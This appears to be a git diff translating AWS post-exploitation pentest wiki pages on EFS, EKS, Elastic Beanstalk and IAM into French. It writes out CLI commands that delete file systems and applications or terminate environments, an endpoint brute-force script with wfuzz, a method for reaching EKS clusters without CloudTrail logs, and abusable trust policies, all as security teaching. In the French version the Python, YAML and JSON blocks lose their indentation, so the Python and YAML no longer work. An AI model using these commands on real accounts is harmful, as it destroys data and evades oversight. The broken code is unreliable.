@@ -4,7 +4,7 @@
 
 ## EFS
 
-For more information check:
+Pour plus d'informations, consultez :
 
 {{#ref}}
 ../aws-services/aws-efs-enum.md
@@ -12,47 +12,35 @@ For more information check:
 
 ### `elasticfilesystem:DeleteMountTarget`
 
-An attacker could delete a mount target, potentially disrupting access to the EFS file system for applications and users relying on that mount target.
-
+Un attaquant pourrait supprimer un point de montage, perturbant potentiellement l'accès au système de fichiers EFS pour les applications et les utilisateurs s'appuyant sur ce point de montage.
 ```sql
 aws efs delete-mount-target --mount-target-id <value>
 ```
-
-**Potential Impact**: Disruption of file system access and potential data loss for users or applications.
+**Impact potentiel** : Interruption de l'accès au système de fichiers et perte de données potentielle pour les utilisateurs ou les applications.
 
 ### `elasticfilesystem:DeleteFileSystem`
 
-An attacker could delete an entire EFS file system, which could lead to data loss and impact applications relying on the file system.
-
+Un attaquant pourrait supprimer un système de fichiers EFS entier, ce qui pourrait entraîner une perte de données et affecter les applications s'appuyant sur le système de fichiers.
 ```perl
 aws efs delete-file-system --file-system-id <value>
 ```
-
-**Potential Impact**: Data loss and service disruption for applications using the deleted file system.
+**Impact potentiel** : Perte de données et interruption de service pour les applications utilisant le système de fichiers supprimé.
 
 ### `elasticfilesystem:UpdateFileSystem`
 
-An attacker could update the EFS file system properties, such as throughput mode, to impact its performance or cause resource exhaustion.
-
+Un attaquant pourrait mettre à jour les propriétés du système de fichiers EFS, telles que le mode de débit, pour affecter ses performances ou provoquer une exhaustion des ressources.
 ```sql
 aws efs update-file-system --file-system-id <value> --provisioned-throughput-in-mibps <value>
 ```
+**Impact potentiel** : Dégradation des performances du système de fichiers ou épuisement des ressources.
 
-**Potential Impact**: Degradation of file system performance or resource exhaustion.
-
-### `elasticfilesystem:CreateAccessPoint` and `elasticfilesystem:DeleteAccessPoint`
-
-An attacker could create or delete access points, altering access control and potentially granting themselves unauthorized access to the file system.
+### `elasticfilesystem:CreateAccessPoint` et `elasticfilesystem:DeleteAccessPoint`
 
+Un attaquant pourrait créer ou supprimer des points d'accès, modifiant le contrôle d'accès et pouvant potentiellement s'accorder un accès non autorisé au système de fichiers.
 ```arduino
 aws efs create-access-point --file-system-id <value> --posix-user <value> --root-directory <value>
 aws efs delete-access-point --access-point-id <value>
 ```
-
-**Potential Impact**: Unauthorized access to the file system, data exposure or modification.
+**Impact potentiel** : Accès non autorisé au système de fichiers, exposition ou modification des données.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
index eb1f77f46..d23ce9371 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-eks-post-exploitation.md
@@ -4,110 +4,101 @@
 
 ## EKS
 
-For mor information check
+Pour plus d'informations, consultez
 
 {{#ref}}
 ../aws-services/aws-eks-enum.md
 {{#endref}}
 
-### Enumerate the cluster from the AWS Console
+### Énumérer le cluster depuis la console AWS
 
-If you have the permission **`eks:AccessKubernetesApi`** you can **view Kubernetes objects** via AWS EKS console ([Learn more](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
+Si vous avez la permission **`eks:AccessKubernetesApi`**, vous pouvez **voir les objets Kubernetes** via la console AWS EKS ([En savoir plus](https://docs.aws.amazon.com/eks/latest/userguide/view-workloads.html)).
 
-### Connect to AWS Kubernetes Cluster
-
-- Easy way:
+### Se connecter au cluster Kubernetes AWS
 
+- Facile :
 ```bash
 # Generate kubeconfig
 aws eks update-kubeconfig --name aws-eks-dev
 ```
+- Pas si facile :
 
-- Not that easy way:
-
-If you can **get a token** with **`aws eks get-token --name <cluster_name>`** but you don't have permissions to get cluster info (describeCluster), you could **prepare your own `~/.kube/config`**. However, having the token, you still need the **url endpoint to connect to** (if you managed to get a JWT token from a pod read [here](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) and the **name of the cluster**.
-
-In my case, I didn't find the info in CloudWatch logs, but I **found it in LaunchTemaplates userData** and in **EC2 machines in userData also**. You can see this info in **userData** easily, for example in the next example (the cluster name was cluster-name):
+Si vous pouvez **obtenir un token** avec **`aws eks get-token --name <cluster_name>`** mais que vous n'avez pas les permissions pour obtenir les informations du cluster (describeCluster), vous pourriez **préparer votre propre `~/.kube/config`**. Cependant, avec le token, vous avez toujours besoin de l'**url endpoint pour vous connecter** (si vous avez réussi à obtenir un token JWT d'un pod lisez [ici](aws-eks-post-exploitation.md#get-api-server-endpoint-from-a-jwt-token)) et du **nom du cluster**.
 
+Dans mon cas, je n'ai pas trouvé l'info dans les logs CloudWatch, mais j'ai **trouvé dans les userData des LaunchTemplates** et dans les **machines EC2 dans les userData aussi**. Vous pouvez voir cette info dans **userData** facilement, par exemple dans l'exemple suivant (le nom du cluster était cluster-name) :
 ```bash
 API_SERVER_URL=https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-east-1.eks.amazonaws.com
 
 /etc/eks/bootstrap.sh cluster-name --kubelet-extra-args '--node-labels=eks.amazonaws.com/sourceLaunchTemplateVersion=1,alpha.eksctl.io/cluster-name=cluster-name,alpha.eksctl.io/nodegroup-name=prd-ondemand-us-west-2b,role=worker,eks.amazonaws.com/nodegroup-image=ami-002539dd2c532d0a5,eks.amazonaws.com/capacityType=ON_DEMAND,eks.amazonaws.com/nodegroup=prd-ondemand-us-west-2b,type=ondemand,eks.amazonaws.com/sourceLaunchTemplateId=lt-0f0f0ba62bef782e5 --max-pods=58' --b64-cluster-ca $B64_CLUSTER_CA --apiserver-endpoint $API_SERVER_URL --dns-cluster-ip $K8S_CLUSTER_DNS_IP --use-max-pods false
 ```
-
 <details>
 
 <summary>kube config</summary>
-
 ```yaml
 describe-cache-parametersapiVersion: v1
 clusters:
-  - cluster:
-      certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
-      server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
-    name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+- cluster:
+certificate-authority-data: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSUMvakNDQWVhZ0F3SUJBZ0lCQURBTkJna3Foa2lHOXcwQkFRc0ZBREFWTVJNd0VRWURWUVFERXdwcmRXSmwKY201bGRHVnpNQjRYRFRJeU1USXlPREUyTWpjek1Wb1hEVE15TVRJeU5URTJNamN6TVZvd0ZURVRNQkVHQTFVRQpBeE1LYTNWaVpYSnVaWFJsY3pDQ0FTSXdEUVlKS29aSWh2Y05BUUVCQlFBRGdnRVBBRENDQVFvQ2dnRUJBTDlXCk9OS0ZqeXZoRUxDZGhMNnFwWkMwa1d0UURSRVF1UzVpRDcwK2pjbjFKWXZ4a3FsV1ZpbmtwOUt5N2x2ME5mUW8KYkNqREFLQWZmMEtlNlFUWVVvOC9jQXJ4K0RzWVlKV3dzcEZGbWlsY1lFWFZHMG5RV1VoMVQ3VWhOanc0MllMRQpkcVpzTGg4OTlzTXRLT1JtVE5sN1V6a05pTlUzSytueTZSRysvVzZmbFNYYnRiT2kwcXJSeFVpcDhMdWl4WGRVCnk4QTg3VjRjbllsMXo2MUt3NllIV3hhSm11eWI5enRtbCtBRHQ5RVhOUXhDMExrdWcxSDBqdTl1MDlkU09YYlkKMHJxY2lINjYvSTh0MjlPZ3JwNkY0dit5eUNJUjZFQURRaktHTFVEWUlVSkZ4WXA0Y1pGcVA1aVJteGJ5Nkh3UwpDSE52TWNJZFZRRUNQMlg5R2c4Q0F3RUFBYU5aTUZjd0RnWURWUjBQQVFIL0JBUURBZ0trTUE4R0ExVWRFd0VCCi93UUZNQU1CQWY4d0hRWURWUjBPQkJZRUZQVXFsekhWZmlDd0xqalhPRmJJUUc3L0VxZ1hNQlVHQTFVZEVRUU8KTUF5Q0NtdDFZbVZ5Ym1WMFpYTXdEUVlKS29aSWh2Y05BUUVMQlFBRGdnRUJBS1o4c0l4aXpsemx0aXRPcGcySgpYV0VUSThoeWxYNWx6cW1mV0dpZkdFVVduUDU3UEVtWW55eWJHbnZ5RlVDbnczTldMRTNrbEVMQVE4d0tLSG8rCnBZdXAzQlNYamdiWFovdWVJc2RhWlNucmVqNU1USlJ3SVFod250ZUtpU0J4MWFRVU01ZGdZc2c4SlpJY3I2WC8KRG5POGlHOGxmMXVxend1dUdHSHM2R1lNR0Mvd1V0czVvcm1GS291SmtSUWhBZElMVkNuaStYNCtmcHUzT21UNwprS3VmR0tyRVlKT09VL1c2YTB3OTRycU9iSS9Mem1GSWxJQnVNcXZWVDBwOGtlcTc1eklpdGNzaUJmYVVidng3Ci9sMGhvS1RqM0IrOGlwbktIWW4wNGZ1R2F2YVJRbEhWcldDVlZ4c3ZyYWpxOUdJNWJUUlJ6TnpTbzFlcTVZNisKRzVBPQotLS0tLUVORCBDRVJUSUZJQ0FURS0tLS0tCg==
+server: https://6253F6CA47F81264D8E16FAA7A103A0D.gr7.us-west-2.eks.amazonaws.com
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
 contexts:
-  - context:
-      cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-      user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-    name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+- context:
+cluster: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
 current-context: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
 kind: Config
 preferences: {}
 users:
-  - name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
-    user:
-      exec:
-        apiVersion: client.authentication.k8s.io/v1beta1
-        args:
-          - --region
-          - us-west-2
-          - --profile
-          - <profile>
-          - eks
-          - get-token
-          - --cluster-name
-          - <cluster-name>
-        command: aws
-        env: null
-        interactiveMode: IfAvailable
-        provideClusterInfo: false
+- name: arn:aws:eks:us-east-1:<acc-id>:cluster/<cluster-name>
+user:
+exec:
+apiVersion: client.authentication.k8s.io/v1beta1
+args:
+- --region
+- us-west-2
+- --profile
+- <profile>
+- eks
+- get-token
+- --cluster-name
+- <cluster-name>
+command: aws
+env: null
+interactiveMode: IfAvailable
+provideClusterInfo: false
 ```
-
 </details>
 
-### From AWS to Kubernetes
+### D'AWS à Kubernetes
 
-The **creator** of the **EKS cluster** is **ALWAYS** going to be able to get into the kubernetes cluster part of the group **`system:masters`** (k8s admin). At the time of this writing there is **no direct way** to find **who created** the cluster (you can check CloudTrail). And the is **no way** to **remove** that **privilege**.
+Le **créateur** du **cluster EKS** va **TOUJOURS** pouvoir accéder à la partie du cluster kubernetes du groupe **`system:masters`** (admin k8s). Au moment de la rédaction de ce document, il n'y a **aucun moyen direct** de savoir **qui a créé** le cluster (vous pouvez vérifier CloudTrail). Et il n'y a **aucun moyen** de **supprimer** ce **privilège**.
 
-The way to grant **access to over K8s to more AWS IAM users or roles** is using the **configmap** **`aws-auth`**.
+La façon de donner **accès à plus d'utilisateurs ou de rôles AWS IAM** sur K8s est d'utiliser le **configmap** **`aws-auth`**.
 
 > [!WARNING]
-> Therefore, anyone with **write access** over the config map **`aws-auth`** will be able to **compromise the whole cluster**.
+> Par conséquent, toute personne ayant un **accès en écriture** sur le config map **`aws-auth`** pourra **compromettre l'ensemble du cluster**.
 
-For more information about how to **grant extra privileges to IAM roles & users** in the **same or different account** and how to **abuse** this to [**privesc check this page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
+Pour plus d'informations sur la façon de **donner des privilèges supplémentaires aux rôles et utilisateurs IAM** dans le **même ou un autre compte** et comment **abuser** de cela pour [**privesc, consultez cette page**](../../kubernetes-security/abusing-roles-clusterroles-in-kubernetes/#aws-eks-aws-auth-configmaps).
 
-Check also[ **this awesome**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **post to learn how the authentication IAM -> Kubernetes work**.
+Vérifiez aussi [**ce post génial**](https://blog.lightspin.io/exploiting-eks-authentication-vulnerability-in-aws-iam-authenticator) **pour apprendre comment fonctionne l'authentification IAM -> Kubernetes**.
 
-### From Kubernetes to AWS
+### De Kubernetes à AWS
 
-It's possible to allow an **OpenID authentication for kubernetes service account** to allow them to assume roles in AWS. Learn how [**this work in this page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
+Il est possible de permettre une **authentification OpenID pour le compte de service kubernetes** afin de leur permettre d'assumer des rôles dans AWS. Apprenez comment [**cela fonctionne sur cette page**](../../kubernetes-security/kubernetes-pivoting-to-clouds.md#workflow-of-iam-role-for-service-accounts-1).
 
-### GET Api Server Endpoint from a JWT Token
-
-Decoding the JWT token we get the cluster id & also the region. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Knowing that the standard format for EKS url is
+### OBTENIR le point de terminaison de l'API du serveur à partir d'un jeton JWT
 
+En décodant le jeton JWT, nous obtenons l'ID du cluster et aussi la région. ![image](https://github.com/HackTricks-wiki/hacktricks-cloud/assets/87022719/0e47204a-eea5-4fcb-b702-36dc184a39e9) Sachant que le format standard pour l'URL EKS est
 ```bash
 https://<cluster-id>.<two-random-chars><number>.<region>.eks.amazonaws.com
 ```
-
-Didn't find any documentation that explain the criteria for the 'two chars' and the 'number'. But making some test on my behalf I see recurring these one:
+Je n'ai trouvé aucune documentation qui explique les critères pour les 'deux caractères' et le 'nombre'. Mais en faisant quelques tests de mon côté, je vois que ceux-ci reviennent :
 
 - gr7
 - yl4
 
-Anyway are just 3 chars we can bruteforce them. Use the below script for generating the list
-
+Quoi qu'il en soit, ce ne sont que 3 caractères que nous pouvons brute-forcer. Utilisez le script ci-dessous pour générer la liste.
 ```python
 from itertools import product
 from string import ascii_lowercase
@@ -116,44 +107,37 @@ letter_combinations = product('abcdefghijklmnopqrstuvwxyz', repeat = 2)
 number_combinations = product('0123456789', repeat = 1)
 
 result = [
-	f'{''.join(comb[0])}{comb[1][0]}'
-	for comb in product(letter_combinations, number_combinations)
+f'{''.join(comb[0])}{comb[1][0]}'
+for comb in product(letter_combinations, number_combinations)
 ]
 
 with open('out.txt', 'w') as f:
-	f.write('\n'.join(result))
+f.write('\n'.join(result))
 ```
-
-Then with wfuzz
-
+Alors avec wfuzz
 ```bash
 wfuzz -Z -z file,out.txt --hw 0 https://<cluster-id>.FUZZ.<region>.eks.amazonaws.com
 ```
-
 > [!WARNING]
-> Remember to replace & .
+> N'oubliez pas de remplacer & .
 
-### Bypass CloudTrail
+### Contournement de CloudTrail
 
-If an attacker obtains credentials of an AWS with **permission over an EKS**. If the attacker configures it's own **`kubeconfig`** (without calling **`update-kubeconfig`**) as explained previously, the **`get-token`** doesn't generate logs in Cloudtrail because it doesn't interact with the AWS API (it just creates the token locally).
+Si un attaquant obtient les identifiants d'un AWS avec **permission sur un EKS**. Si l'attaquant configure son propre **`kubeconfig`** (sans appeler **`update-kubeconfig`**) comme expliqué précédemment, le **`get-token`** ne génère pas de journaux dans Cloudtrail car il n'interagit pas avec l'API AWS (il crée simplement le jeton localement).
 
-So when the attacker talks with the EKS cluster, **cloudtrail won't log anything related to the user being stolen and accessing it**.
+Ainsi, lorsque l'attaquant communique avec le cluster EKS, **cloudtrail ne journalisera rien lié à l'utilisateur volé et y accédant**.
 
-Note that the **EKS cluster might have logs enabled** that will log this access (although, by default, they are disabled).
+Notez que le **cluster EKS pourrait avoir des journaux activés** qui enregistreront cet accès (bien qu'ils soient désactivés par défaut).
 
-### EKS Ransom?
+### Rançon EKS ?
 
-By default the **user or role that created** a cluster is **ALWAYS going to have admin privileges** over the cluster. And that the only "secure" access AWS will have over the Kubernetes cluster.
+Par défaut, l'**utilisateur ou le rôle qui a créé** un cluster a **TOUJOURS des privilèges d'administrateur** sur le cluster. Et c'est le seul accès "sécurisé" qu'AWS aura sur le cluster Kubernetes.
 
-So, if an **attacker compromises a cluster using fargate** and **removes all the other admins** and d**eletes the AWS user/role that created** the Cluster, ~~the attacker could have **ransomed the cluste**~~**r**.
+Donc, si un **attaquant compromet un cluster en utilisant fargate** et **supprime tous les autres administrateurs** et **supprime l'utilisateur/rôle AWS qui a créé** le cluster, ~~l'attaquant pourrait avoir **rançonné le cluster**~~.
 
 > [!TIP]
-> Note that if the cluster was using **EC2 VMs**, it could be possible to get Admin privileges from the **Node** and recover the cluster.
+> Notez que si le cluster utilisait des **VM EC2**, il pourrait être possible d'obtenir des privilèges d'administrateur depuis le **Node** et de récupérer le cluster.
 >
-> Actually, If the cluster is using Fargate you could EC2 nodes or move everything to EC2 to the cluster and recover it accessing the tokens in the node.
+> En fait, si le cluster utilise Fargate, vous pourriez EC2 nodes ou déplacer tout vers EC2 vers le cluster et le récupérer en accédant aux jetons dans le nœud.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
index 6267ee02f..7af4a09ae 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-elastic-beanstalk-post-exploitation.md
@@ -4,7 +4,7 @@
 
 ## Elastic Beanstalk
 
-For more information:
+Pour plus d'informations :
 
 {{#ref}}
 ../aws-services/aws-elastic-beanstalk-enum.md
@@ -13,72 +13,58 @@ For more information:
 ### `elasticbeanstalk:DeleteApplicationVersion`
 
 > [!NOTE]
-> TODO: Test if more permissions are required for this
-
-An attacker with the permission `elasticbeanstalk:DeleteApplicationVersion` can **delete an existing application version**. This action could disrupt application deployment pipelines or cause loss of specific application versions if not backed up.
+> TODO : Tester si des permissions supplémentaires sont nécessaires pour cela
 
+Un attaquant avec la permission `elasticbeanstalk:DeleteApplicationVersion` peut **supprimer une version d'application existante**. Cette action pourrait perturber les pipelines de déploiement d'application ou entraîner la perte de versions spécifiques d'application si elles ne sont pas sauvegardées.
 ```bash
 aws elasticbeanstalk delete-application-version --application-name my-app --version-label my-version
 ```
-
-**Potential Impact**: Disruption of application deployment and potential loss of application versions.
+**Impact potentiel** : Interruption du déploiement de l'application et perte potentielle de versions d'application.
 
 ### `elasticbeanstalk:TerminateEnvironment`
 
 > [!NOTE]
-> TODO: Test if more permissions are required for this
-
-An attacker with the permission `elasticbeanstalk:TerminateEnvironment` can **terminate an existing Elastic Beanstalk environment**, causing downtime for the application and potential data loss if the environment is not configured for backups.
+> TODO : Tester si d'autres autorisations sont nécessaires pour cela
 
+Un attaquant ayant l'autorisation `elasticbeanstalk:TerminateEnvironment` peut **terminer un environnement Elastic Beanstalk existant**, provoquant un temps d'arrêt pour l'application et une perte potentielle de données si l'environnement n'est pas configuré pour des sauvegardes.
 ```bash
 aws elasticbeanstalk terminate-environment --environment-name my-existing-env
 ```
-
-**Potential Impact**: Downtime of the application, potential data loss, and disruption of services.
+**Impact potentiel** : Temps d'arrêt de l'application, perte de données potentielle et interruption des services.
 
 ### `elasticbeanstalk:DeleteApplication`
 
 > [!NOTE]
-> TODO: Test if more permissions are required for this
-
-An attacker with the permission `elasticbeanstalk:DeleteApplication` can **delete an entire Elastic Beanstalk application**, including all its versions and environments. This action could cause a significant loss of application resources and configurations if not backed up.
+> TODO : Tester si d'autres autorisations sont nécessaires pour cela
 
+Un attaquant ayant la permission `elasticbeanstalk:DeleteApplication` peut **supprimer une application Elastic Beanstalk entière**, y compris toutes ses versions et environnements. Cette action pourrait entraîner une perte significative de ressources et de configurations de l'application si elles ne sont pas sauvegardées.
 ```bash
 aws elasticbeanstalk delete-application --application-name my-app --terminate-env-by-force
 ```
-
-**Potential Impact**: Loss of application resources, configurations, environments, and application versions, leading to service disruption and potential data loss.
+**Impact potentiel** : Perte de ressources d'application, de configurations, d'environnements et de versions d'application, entraînant une interruption de service et une perte de données potentielle.
 
 ### `elasticbeanstalk:SwapEnvironmentCNAMEs`
 
 > [!NOTE]
-> TODO: Test if more permissions are required for this
-
-An attacker with the `elasticbeanstalk:SwapEnvironmentCNAMEs` permission can **swap the CNAME records of two Elastic Beanstalk environments**, which might cause the wrong version of the application to be served to users or lead to unintended behavior.
+> TODO : Tester si d'autres autorisations sont nécessaires pour cela
 
+Un attaquant disposant de l'autorisation `elasticbeanstalk:SwapEnvironmentCNAMEs` peut **échanger les enregistrements CNAME de deux environnements Elastic Beanstalk**, ce qui pourrait entraîner la diffusion de la mauvaise version de l'application aux utilisateurs ou provoquer un comportement inattendu.
 ```bash
 aws elasticbeanstalk swap-environment-cnames --source-environment-name my-env-1 --destination-environment-name my-env-2
 ```
-
-**Potential Impact**: Serving the wrong version of the application to users or causing unintended behavior in the application due to swapped environments.
+**Impact potentiel** : Servir la mauvaise version de l'application aux utilisateurs ou provoquer un comportement inattendu dans l'application en raison d'environnements échangés.
 
 ### `elasticbeanstalk:AddTags`, `elasticbeanstalk:RemoveTags`
 
 > [!NOTE]
-> TODO: Test if more permissions are required for this
-
-An attacker with the `elasticbeanstalk:AddTags` and `elasticbeanstalk:RemoveTags` permissions can **add or remove tags on Elastic Beanstalk resources**. This action could lead to incorrect resource allocation, billing, or resource management.
+> TODO : Tester si d'autres autorisations sont nécessaires pour cela
 
+Un attaquant avec les autorisations `elasticbeanstalk:AddTags` et `elasticbeanstalk:RemoveTags` peut **ajouter ou supprimer des balises sur les ressources Elastic Beanstalk**. Cette action pourrait entraîner une allocation incorrecte des ressources, une facturation ou une gestion des ressources.
 ```bash
 aws elasticbeanstalk add-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tags Key=MaliciousTag,Value=1
 
 aws elasticbeanstalk remove-tags --resource-arn arn:aws:elasticbeanstalk:us-west-2:123456789012:environment/my-app/my-env --tag-keys MaliciousTag
 ```
-
-**Potential Impact**: Incorrect resource allocation, billing, or resource management due to added or removed tags.
+**Impact potentiel** : Allocation incorrecte des ressources, facturation ou gestion des ressources en raison de balises ajoutées ou supprimées.
 
 {{#include ../../../banners/hacktricks-training.md}}
-
-
-
-
diff --git a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
index f734122e8..85dc111b5 100644
--- a/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
+++ b/src/pentesting-cloud/aws-security/aws-post-exploitation/aws-iam-post-exploitation.md
@@ -4,104 +4,90 @@
 
 ## IAM
 
-For more information about IAM access:
+Pour plus d'informations sur l'accès IAM :
 
 {{#ref}}
 ../aws-services/aws-iam-enum.md
 {{#endref}}
 
-## Confused Deputy Problem
+## Problème du Député Confus
 
-If you **allow an external account (A)** to access a **role** in your account, you will probably have **0 visibility** on **who can exactly access that external account**. This is a problem, because if another external account (B) can access the external account (A) it's possible that **B will also be able to access your account**.
+Si vous **permettez à un compte externe (A)** d'accéder à un **rôle** dans votre compte, vous aurez probablement **0 visibilité** sur **qui peut exactement accéder à ce compte externe**. C'est un problème, car si un autre compte externe (B) peut accéder au compte externe (A), il est possible que **B puisse également accéder à votre compte**.
 
-Therefore, when allowing an external account to access a role in your account it's possible to specify an `ExternalId`. This is a "secret" string that the external account (A) **need to specify** in order to **assume the role in your organization**. As the **external account B won't know this string**, even if he has access over A he **won't be able to access your role**.
+Par conséquent, lorsque vous permettez à un compte externe d'accéder à un rôle dans votre compte, il est possible de spécifier un `ExternalId`. C'est une chaîne "secrète" que le compte externe (A) **doit spécifier** pour **assumer le rôle dans votre organisation**. Comme le **compte externe B ne connaîtra pas cette chaîne**, même s'il a accès à A, il **ne pourra pas accéder à votre rôle**.
 
 <figure><img src="../../../images/image (95).png" alt=""><figcaption></figcaption></figure>
 
-However, note that this `ExternalId` "secret" is **not a secret**, anyone that can **read the IAM assume role policy will be able to see it**. But as long as the external account A knows it, but the external account **B doesn't know it**, it **prevents B abusing A to access your role**.
-
-Example:
+Cependant, notez que ce `ExternalId` "secret" **n'est pas un secret**, quiconque peut **lire la politique d'assumer le rôle IAM pourra le voir**. Mais tant que le compte externe A le connaît, mais que le compte externe **B ne le connaît pas**, cela **empêche B d'abuser de A pour accéder à votre rôle**.
 
+Exemple :
 ```json
 {
-  "Version": "2012-10-17",
-  "Statement": {
-    "Effect": "Allow",
-    "Principal": {
-      "AWS": "Example Corp's AWS Account ID"
-    },
-    "Action": "sts:AssumeRole",
-    "Condition": {
-      "StringEquals": {
-        "sts:ExternalId": "12345"
-      }
-    }
-  }
+"Version": "2012-10-17",
+"Statement": {
+"Effect": "Allow",
+"Principal": {
+"AWS": "Example Corp's AWS Account ID"
+},
+"Action": "sts:AssumeRole",
+"Condition": {
+"StringEquals": {
+"sts:ExternalId": "12345"
+}
+}
+}
 }
 ```
-
 > [!WARNING]
-> For an attacker to exploit a confused deputy he will need to find somehow if principals of the current account can impersonate roles in other accounts.
+> Pour qu'un attaquant exploite un député confus, il devra trouver d'une manière ou d'une autre si les principaux du compte actuel peuvent usurper des rôles dans d'autres comptes.
 
-### Unexpected Trusts
-
-#### Wildcard as principal
+### Confiances inattendues
 
+#### Wildcard comme principal
 ```json
 {
-  "Action": "sts:AssumeRole",
-  "Effect": "Allow",
-  "Principal": { "AWS": "*" }
+"Action": "sts:AssumeRole",
+"Effect": "Allow",
+"Principal": { "AWS": "*" }
 }
 ```
+Cette politique **permet à tous les AWS** d'assumer le rôle.
 
-This policy **allows all AWS** to assume the role.
-
-#### Service as principal
-
+#### Service en tant que principal
 ```json
 {
-  "Action": "lambda:InvokeFunction",
-  "Effect": "Allow",
-  "Principal": { "Service": "apigateway.amazonaws.com" },
-  "Resource": "arn:aws:lambda:000000000000:function:foo"
+"Action": "lambda:InvokeFunction",
+"Effect": "Allow",
+"Principal": { "Service": "apigateway.amazonaws.com" },
+"Resource": "arn:aws:lambda:000000000000:function:foo"
 }
 ```
+Cette politique **permet à tout compte** de configurer son apigateway pour appeler cette Lambda.
 
-This policy **allows any account** to configure their apigateway to call this Lambda.
-
-#### S3 as principal
-
+#### S3 en tant que principal
 ```json
 "Condition": {
 "ArnLike": { "aws:SourceArn": "arn:aws:s3:::source-bucket" },
-    "StringEquals": {
-        "aws:SourceAccount": "123456789012"
-    }
+"StringEquals": {
+"aws:SourceAccount": "123456789012"
+}
 }
 ```
+Si un bucket S3 est donné comme principal, parce que les buckets S3 n'ont pas d'ID de compte, si vous **avez supprimé votre bucket et que l'attaquant l'a créé** dans son propre compte, alors il pourrait en abuser.
 
